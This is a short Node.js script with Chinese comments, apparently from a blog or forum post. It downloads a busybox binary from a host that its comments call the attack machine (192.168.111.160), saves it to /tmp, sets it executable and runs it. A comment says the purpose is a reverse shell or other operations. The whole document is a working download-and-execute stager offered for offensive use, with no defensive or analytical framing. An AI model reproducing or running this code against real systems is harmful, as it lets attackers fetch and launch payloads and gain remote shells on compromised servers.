const http = require('http');
const fs = require('fs');
const { exec } = require('child_process');
// 指定攻击机的 IP 地址和路径
const url = 'http://192.168.111.160/busybox';
const outputPath = '/tmp/busybox'; // 文件保存路径
http.get(url, (response) => {
const fileStream = fs.createWriteStream(outputPath);
response.pipe(fileStream);
fileStream.on('finish', () => {
console.log('下载成功!');
// 设置执行权限,确保文件可执行
fs.chmod(outputPath, 0o755, (err) => {
if (err) {
console.log('赋权失败:', err);
return;
}
console.log('文件权限已更新,允许执行!');
// 通过 busybox 执行反弹 shell 或其他操作
exec(`/tmp/busybox`, (err, stdout, stderr) => {
if (err) {
console.error('执行失败:', stderr);
return;
}
console.log('执行输出:', stdout);
});
});
});
}).on('error', (err) => {
console.log('下载失败:', err);
});
没有评论